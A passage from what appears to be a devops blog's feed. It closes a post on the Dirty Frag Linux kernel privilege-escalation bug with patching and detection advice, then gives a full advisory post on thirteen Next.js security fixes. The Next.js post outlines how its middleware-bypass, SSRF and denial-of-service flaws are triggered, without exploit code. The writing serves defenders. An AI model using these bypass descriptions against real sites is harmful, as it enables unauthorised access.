          5. Patch when the vendor kernel ships
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-5-patch-when-the-vendor-kernel-ships"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Watch your distribution&#39;s security tracker. Once a kernel update is available, apply it and reboot. The order in which fixes ship will roughly be:</p>
<ol>
<li>Mainline + stable LTS kernels (the ESP fix is already in <code>netdev</code>).</li>
<li>Distro kernels for current releases (Ubuntu, RHEL, Fedora, AlmaLinux are all likely to ship within days).</li>
<li>RxRPC fix once it is upstream and backported.</li>
</ol>
<p>After patching:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Confirm the running kernel is the patched build. The exact errata</span>
<span class="hljs-comment"># string varies by distro - check your distro security advisory for</span>
<span class="hljs-comment"># the version that includes the fix.</span>
<span class="hljs-built_in">uname</span> -r

<span class="hljs-comment"># Then drop the modprobe blocklist if you put one in place,</span>
<span class="hljs-comment"># unless you genuinely have no use for the modules.</span>
<span class="hljs-built_in">sudo</span> <span class="hljs-built_in">rm</span> /etc/modprobe.d/dirty-frag.conf
</code></pre><h2 id="h2-a-detection-note" class="group relative scroll-mt-24">
        <a href="#h2-a-detection-note" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          A Detection Note
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-a-detection-note"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>There is no clean fingerprint for the exploit yet because the primitive uses normal kernel paths. A few signals that are worth alerting on:</p>
<ul>
<li>New userland processes that hold open <code>AF_KEY</code> sockets and <code>splice()</code> between pipes and those sockets.</li>
<li>Unexpected <code>setuid</code> binaries created in <code>/tmp</code> or <code>/var/tmp</code>.</li>
<li>Sudden modifications to <code>/etc/passwd</code>, <code>/etc/shadow</code>, <code>/etc/sudoers</code>, <code>/usr/bin/sudo</code> (you should already be alerting on these as a baseline). File integrity monitoring with auditd or osquery catches the post-exploitation step even when the exploit primitive itself is invisible.</li>
<li>For Kubernetes: pods that flap in and out of <code>Running</code> after starting a new container that requests <code>CAP_NET_ADMIN</code>.</li>
</ul>
<p>If you have an EDR product, your vendor likely has a Dirty Frag detection rule shipping in the next push. The Wiz, Tenable, and Red Hat write-ups all describe behavioral signatures.</p>
<h2 id="h2-wrap-up" class="group relative scroll-mt-24">
        <a href="#h2-wrap-up" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Wrap-Up
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-wrap-up"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Dirty Frag is not a sky-falling event for a single-user laptop, but it is exactly the bug pattern that ruins a quarter on multi-tenant infrastructure. The work today is short:</p>
<ol>
<li>Audit which of your Linux fleet has <code>esp4</code> / <code>esp6</code> / <code>rxrpc</code> loaded.</li>
<li>Blocklist those modules everywhere you do not need IPsec and AFS.</li>
<li>Disable unprivileged user namespaces on RHEL-family hosts that need IPsec.</li>
<li>Watch your distro&#39;s tracker and roll the patched kernel as soon as it lands.</li>
</ol>
<p>The ESP fix is upstream. Vendor kernels are the next 24-72 hours. RxRPC will trail by a few more days. Get the cheap mitigations on every machine before lunchtime and the patch can take its normal cadence.</p>
<h3 id="h3-references" class="group relative scroll-mt-24">
        <a href="#h3-references" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          References
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-references"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><ul>
<li><a href="https://www.wiz.io/blog/dirty-frag-linux-kernel-local-privilege-escalation-via-esp-and-rxrpc">Wiz: Dirty Frag (CVE-2026-43284) Linux Privilege Escalation</a></li>
<li><a href="https://access.redhat.com/security/vulnerabilities/RHSB-2026-003">Red Hat: RHSB-2026-003 Networking subsystem Privilege Escalation</a></li>
<li><a href="https://www.tenable.com/blog/dirty-frag-cve-2026-43284-cve-2026-43500-frequently-asked-questions-linux-kernel-lpe">Tenable FAQ: Dirty Frag (CVE-2026-43284, CVE-2026-43500)</a></li>
<li><a href="https://www.bleepingcomputer.com/news/security/new-linux-dirty-frag-zero-day-with-poc-exploit-gives-root-privileges/">BleepingComputer: New Linux &#39;Dirty Frag&#39; zero-day gives root on all major distros</a></li>
<li><a href="https://thehackernews.com/2026/05/linux-kernel-dirty-frag-lpe-exploit.html">The Hacker News: Linux Kernel Dirty Frag LPE Exploit</a></li>
<li><a href="https://www.helpnetsecurity.com/2026/05/08/dirty-frag-linux-vulnerability-cve-2026-43284-cve-2026-43500/">Help Net Security: Dirty Frag - Unpatched Linux vulnerability delivers root access</a></li>
<li><a href="https://almalinux.org/blog/2026-05-07-dirty-frag/">AlmaLinux: Dirty Frag patches released</a></li>
<li><a href="https://www.phoronix.com/news/Dirty-Frag-Linux">Phoronix: Dirty Frag Vulnerability Made Public Early</a></li>
<li><a href="https://www.heise.de/en/news/Dirty-Frag-Linux-flaws-grant-root-access-11286796.html">heise: &quot;Dirty Frag&quot; Linux flaws grant root access</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Next.js 16.2.6 and 15.5.18 Ship 13 Security Fixes: Patch Now]]></title>
      <link>https://devops.anhp.site/posts/nextjs-16-2-6-15-5-18-security-release</link>
      <description><![CDATA[Vercel released back-to-back security updates for Next.js covering 7 high, 4 moderate, and 2 low severity advisories, including an upstream React denial-of-service issue. Here is what is broken, who is exposed, and the rollout path.]]></description>
      <pubDate>Fri, 08 May 2026 10:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops.anhp.site/posts/nextjs-16-2-6-15-5-18-security-release</guid>
      <category><![CDATA[Security]]></category>
      
      <category><![CDATA[security]]></category><category><![CDATA[nextjs]]></category><category><![CDATA[react]]></category><category><![CDATA[vulnerability]]></category><category><![CDATA[cve]]></category><category><![CDATA[app-router]]></category>
      <content:encoded><![CDATA[<p>If you run any production Next.js app, you have work to do today. On May 7, 2026, Vercel published Next.js 16.2.6 and 15.5.18 with 13 security advisories rolled into the same release. Seven are rated high, four moderate, two low, and one of them is an upstream React vulnerability in the Server Components runtime that affects any framework using React 19. The exploitable surface stretches from middleware bypasses that defeat your auth checks all the way to a server-side request forgery in WebSocket upgrades.</p>
<p>The official guidance is the kind that gets your attention: &quot;We strongly recommend upgrading as soon as possible.&quot; Self-hosted apps are squarely in the line of fire. Vercel-hosted apps get partial cover from platform-level mitigations on a few of the issues, but the framework patch is the only complete fix.</p>
<p>Here is what shipped, who needs to act, and how to roll it out without breaking your weekend.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><table>
<thead>
<tr>
<th>Detail</th>
<th>Info</th>
</tr>
</thead>
<tbody><tr>
<td>Releases</td>
<td>Next.js 16.2.6 and 15.5.18</td>
</tr>
<tr>
<td>Advisories</td>
<td>13 (7 High, 4 Moderate, 2 Low)</td>
</tr>
<tr>
<td>Worst CVSS</td>
<td>8.6 (WebSocket SSRF)</td>
</tr>
<tr>
<td>Upstream React CVE</td>
<td>CVE-2026-23870 (Server Components DoS)</td>
</tr>
<tr>
<td>Affected versions</td>
<td>Varies by advisory; many cover 15.x &lt; 15.5.16 and 16.x &lt; 16.2.5, with some also reaching 13.x and 14.x</td>
</tr>
<tr>
<td>Patched versions</td>
<td>15.5.18 (cumulative on the 15.x line) and 16.2.6 (cumulative on the 16.x line)</td>
</tr>
<tr>
<td>Node engine</td>
<td>15.5.18 needs <code>^18.18.0 || ^19.8.0 || &gt;=20.0.0</code>; 16.2.6 needs <code>&gt;=20.9.0</code></td>
</tr>
<tr>
<td>Vercel-hosted</td>
<td>Partially mitigated for some advisories</td>
</tr>
<tr>
<td>Self-hosted</td>
<td>Fully exposed until upgraded</td>
</tr>
<tr>
<td>What you do</td>
<td><code>npm install next@latest</code> on the same major, redeploy, audit middleware-only authorization</td>
</tr>
</tbody></table>
<h2 id="h2-what-shipped" class="group relative scroll-mt-24">
        <a href="#h2-what-shipped" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What Shipped
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-shipped"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Both releases bundle the same 13 advisories. The difference is the major version line you are on:</p>
<ul>
<li><strong>Next.js 15.x</strong> users land on <code>15.5.18</code>. The cumulative fix actually started at <code>15.5.16</code>, with 15.5.18 picking up the rest.</li>
<li><strong>Next.js 16.x</strong> users land on <code>16.2.6</code>. Same pattern: a chunk of the fixes are in <code>16.2.5</code>, the rest are in <code>16.2.6</code>.</li>
</ul>
<p>If you stayed on a 15.x release because you have not migrated to 16, you are not stuck. The 15.5 line is still being patched and gets the same coverage. There is no mandatory major upgrade hidden inside this release. You install the highest patch on your current major and you are done with the framework side of the work.</p>
<p>Note the Node version requirements differ between the two lines. Confirm your runtime before you bump:</p>
<ul>
<li><strong>Next.js 15.5.18</strong> declares <code>engines.node</code> as <code>^18.18.0 || ^19.8.0 || &gt;=20.0.0</code>. Same baseline as the rest of the 15.5.x stream.</li>
<li><strong>Next.js 16.2.6</strong> declares <code>engines.node</code> as <code>&gt;=20.9.0</code>. If you are still on Node 18, you have to either pick up the 15.5.18 fix on the 15.x line or upgrade Node before you can move to 16.2.6.</li>
</ul>
<p>Verify with <code>node --version</code> and your CI image before pinning.</p>
<h2 id="h2-the-high-severity-advisories" class="group relative scroll-mt-24">
        <a href="#h2-the-high-severity-advisories" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The High-Severity Advisories
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-high-severity-advisories"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Seven of the 13 are tagged High. They split into three rough groups: middleware/proxy bypass, denial of service, and one server-side request forgery that stands on its own.</p>
<h3 id="h3-middleware-bypasses-four-advisories-all-75-cvss" class="group relative scroll-mt-24">
        <a href="#h3-middleware-bypasses-four-advisories-all-75-cvss" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Middleware bypasses (four advisories, all 7.5+ CVSS)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-middleware-bypasses-four-advisories-all-75-cvss"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This is the headline story. Four separate techniques for getting past Next.js middleware authorization checks shipped in the same release. If your app relies on <code>middleware.ts</code> for auth, RBAC, or any other access control, your authorization model is broken on the affected versions.</p>
<p>The four bypass paths:</p>
<ol>
<li><strong>Segment-prefetch URLs (GHSA-267c-6grr-h53f)</strong>: Specially crafted <code>.rsc</code> and segment-prefetch URLs resolve to the same protected page but slip past the middleware matcher. CVSS 7.5. Affects 15.2.0 through 15.5.15 and 16.0.0 through 16.2.4.</li>
<li><strong>Segment-prefetch incomplete fix follow-up (GHSA-26hh-7cqf-hhc6)</strong>: A second variant of the same class that the original fix did not cover. Same severity, same affected range.</li>
<li><strong>Dynamic route parameter injection (GHSA-492v-c6pp-mqqv, CVE-2026-44574)</strong>: Crafted query parameters change the dynamic route value the page sees while leaving the URL path untouched. Authorization checks that compare the path pass while the page renders content for a different parameter. CVSS 8.1, the second-worst score in this batch. Affects 15.4.0 through 15.5.15 and 16.0.0 through 16.2.4.</li>
<li><strong>Pages Router i18n (GHSA-36qx-fr4f-26g5)</strong>: Apps using i18n in the Pages Router can be hit through the unprefixed <code>/_next/data/&lt;buildId&gt;/&lt;page&gt;.json</code> route. The middleware matcher does not protect this transport variant. CVSS 7.5.</li>
</ol>
<p>The pattern across all four is the same: middleware was being matched against the human-facing URL, and Next.js had additional internal transport variants (RSC payloads, prefetch segments, raw data routes, query-injected routes) that resolved to the same page through code paths the matcher did not see. The patches extend the matcher to cover those variants.</p>
<p>This is not a new class of bug for Next.js. The historic CVE-2025-29927 from 2025 was a single middleware bypass. This release ships four. If your authorization story has been &quot;the middleware will catch it,&quot; now is the time to revisit.</p>
<h3 id="h3-server-side-request-forgery-cvss-86" class="group relative scroll-mt-24">
        <a href="#h3-server-side-request-forgery-cvss-86" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Server-side request forgery (CVSS 8.6)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-server-side-request-forgery-cvss-86"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>GHSA-c4j6-fc7j-m34r</strong> is the highest-rated single CVE in the release. A self-hosted Next.js app handling WebSocket upgrades can be tricked into proxying requests to arbitrary internal or external destinations. Cloud metadata endpoints (the AWS IMDS, GCP and Azure equivalents) and internal services on the cluster network are reachable from this primitive. The HTTP path already had safety checks. WebSocket upgrades did not.</p>
<p>Affects 13.4.13 through 15.5.15 and 16.0.0 through 16.2.4. Vercel-hosted apps are not exposed here. Self-hosted is.</p>
<h3 id="h3-the-upstream-react-dos-cvss-75" class="group relative scroll-mt-24">
        <a href="#h3-the-upstream-react-dos-cvss-75" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The upstream React DoS (CVSS 7.5)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-upstream-react-dos-cvss-75"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>GHSA-8h8q-6873-q5fj</strong> is the one Next.js does not own. The bug lives in <code>react-server-dom</code> (React Server Components 19.x) and is tracked upstream as <strong>CVE-2026-23870</strong>. A crafted POST to a Server Function endpoint forces the deserializer into excessive CPU work. The CWE is &quot;allocation of resources without limits or throttling.&quot; A small request, an outsized cost.</p>
<p>Next.js patches the React dependency for you when you upgrade. If you are on a different React Server Components host (Remix, Waku, custom RSC stack), keep an eye on the React project for the equivalent fix on your runtime.</p>
<h3 id="h3-two-more-denial-of-service-paths" class="group relative scroll-mt-24">
        <a href="#h3-two-more-denial-of-service-paths" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Two more denial-of-service paths
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-two-more-denial-of-service-paths"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><ul>
<li><strong>GHSA-mg66-mrh9-m8jx</strong> is a connection-exhaustion DoS in apps using <strong>Cache Components</strong>. A POST to a server action with a malicious <code>Next-Resume</code> header triggers a request-body handling deadlock that holds the connection open. Pile up enough of these and the server runs out of slots. The fix treats <code>Next-Resume</code> as an internal-only header and strips it from incoming requests.</li>
<li><strong>GHSA-h64f-5h5j-jqjh</strong> is a DoS in the <strong>Image Optimization API</strong> (moderate severity). The image pipeline can be pushed into expensive work by crafted requests.</li>
</ul>
<h2 id="h2-the-moderate-and-low-severity-items" class="group relative scroll-mt-24">
        <a href="#h2-the-moderate-and-low-severity-items" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Moderate and Low-Severity Items
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-moderate-and-low-severity-items"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The four moderate fixes are smaller in blast radius but worth a look:</p>
<ul>
<li><strong>GHSA-ffhc-5mcf-pf4q</strong>: Stored XSS in App Router apps using CSP nonces behind shared caches. Malformed nonce values from request headers were reflected into rendered HTML, enabling cache poisoning. CVSS 4.7. Strip CSP-related request headers from untrusted sources at the edge if you cannot patch immediately.</li>
<li><strong>GHSA-gx5p-jg67-6x7h</strong>: XSS in <code>beforeInteractive</code> scripts when fed untrusted input.</li>
<li><strong>GHSA-h64f-5h5j-jqjh</strong>: The image optimization DoS mentioned above.</li>
<li><strong>GHSA-wfc6-r584-vfw7</strong>: Cache poisoning of React Server Component responses.</li>
</ul>
<p>The two low-severity items are both cache-related: collisions in RSC cache-busting (GHSA-vfv6-92ff-j949) and middleware proxy redirect cache poisoning (GHSA-3g8h-86w9-wvmq).</p>
<p>Low CVSS does not mean ignore. If you run behind a shared CDN or a multi-tenant cache, cache-poisoning bugs let one user&#39;s request affect another user&#39;s response. Treat them as a coordinated patch with the rest.</p>
<h2 id="h2-are-you-exposed" class="group relative scroll-mt-24">
        <a href="#h2-are-you-exposed" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Are You Exposed?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-are-you-exposed"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>A few quick checks before you reach for the patch:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Confirm your installed version</span>
npx next --version

<span class="hljs-comment"># Or grep the lockfile if you don&#x27;t want to run anything</span>
grep <span class="hljs-string">&#x27;&quot;next&quot;&#x27;</span> package.json
<span class="hljs-built_in">cat</span> package-lock.json 2&gt;/dev/null | grep -A1 <span class="hljs-string">&#x27;&quot;node_modules/next&quot;:&#x27;</span>
</code></pre><p>Decision matrix once you know your version:</p>
<table>
<thead>
<tr>
<th>Your version</th>
<th>Exposure</th>
<th>Action</th>
</tr>
</thead>
<tbody><tr>
<td>15.5.18 or 16.2.6 (or later on the same line)</td>
<td>Patched</td>
<td>None on framework, audit your code</td>
</tr>
<tr>
<td>15.5.16, 15.5.17, 16.2.5</td>
<td>Most fixes landed; the cumulative patch is on 15.5.18 / 16.2.6</td>
<td>Bump to the latest patch on your major</td>
</tr>
<tr>
<td>15.x below 15.5.16</td>
<td>Multiple advisories apply (exact set varies; ranges in each GHSA)</td>
<td>Upgrade to 15.5.18</td>
</tr>
<tr>
<td>16.x below 16.2.5</td>
<td>Multiple advisories apply (exact set varies; ranges in each GHSA)</td>
<td>Upgrade to 16.2.6</td>
</tr>
<tr>
<td>13.x or 14.x</td>
<td>Subset of the advisories reach back to 13.x; partial backports unlikely</td>
<td>Plan a major upgrade</td>
</tr>
</tbody></table>
<p>Affected ranges vary per advisory. The simple call is &quot;upgrade to 15.5.18 or 16.2.6 to cover the full batch.&quot; If you need the exact range for a single CVE, click into its GHSA from the release notes.</p>
<p>Vercel-hosted apps get platform-level mitigation for some of the bypass advisories. The framework patch is still the only complete fix and is required to clear the upstream React CVE and the Cache Components DoS.</p>
<h2 id="h2-rolling-out-the-patch" class="group relative scroll-mt-24">
        <a href="#h2-rolling-out-the-patch" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Rolling Out the Patch
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-rolling-out-the-patch"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The mechanics are short. Pin the new version, run the install, redeploy. Same major, no schema changes, no breaking config (mind the Node bump for 16.2.6 noted above).</p>
<!--email_off--><pre><code class="hljs language-bash"><span class="hljs-comment"># 15.x line</span>
npm install next@15.5.18
<span class="hljs-comment"># or</span>
pnpm add next@15.5.18
<span class="hljs-comment"># or</span>
yarn add next@15.5.18

<span class="hljs-comment"># 16.x line</span>
npm install next@16.2.6
</code></pre><!--/email_off--><p>Production rollout pattern that works for most teams:</p>
<!--email_off--><pre><code class="hljs language-bash"><span class="hljs-comment"># 1) Bump the dependency in a branch</span>
git checkout -b security/nextjs-patch
npm install next@16.2.6

<span class="hljs-comment"># 2) Run your typecheck and tests</span>
npm run typecheck
npm <span class="hljs-built_in">test</span>

<span class="hljs-comment"># 3) Build locally to catch any chunk regressions</span>
npm run build

<span class="hljs-comment"># 4) Deploy to staging first, smoke the auth flows you care about</span>
<span class="hljs-comment">#    - Sign-in / sign-out</span>
<span class="hljs-comment">#    - Any protected route reachable from the app shell</span>
<span class="hljs-comment">#    - Image optimization endpoints if you use them</span>
<span class="hljs-comment">#    - WebSocket / streaming routes if you self-host</span>

<span class="hljs-comment"># 5) Roll to production</span>
</code></pre><!--/email_off--><p>If you cannot deploy immediately, a few of the advisories ship workarounds:</p>
<ul>
<li><strong>Dynamic route parameter injection (GHSA-492v-c6pp-mqqv)</strong>: Implement authorization checks inside the route handler or page component, not only in middleware. This is good practice anyway.</li>
<li><strong>Cache Components DoS (GHSA-mg66-mrh9-m8jx)</strong>: Block requests carrying the <code>Next-Resume</code> header at your edge or proxy.</li>
<li><strong>CSP nonce XSS (GHSA-ffhc-5mcf-pf4q)</strong>: Strip inbound CSP-related request headers from untrusted clients.</li>
<li><strong>WebSocket SSRF (GHSA-c4j6-fc7j-m34r)</strong>: If you self-host and do not actually use WebSocket upgrades, drop them at the proxy.</li>
</ul>
<p>These are stopgaps. They are not equivalent to the patch.</p>
<h2 id="h2-lessons-for-your-architecture" class="group relative scroll-mt-24">
        <a href="#h2-lessons-for-your-architecture" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Lessons for Your Architecture
        </a>
        <button 
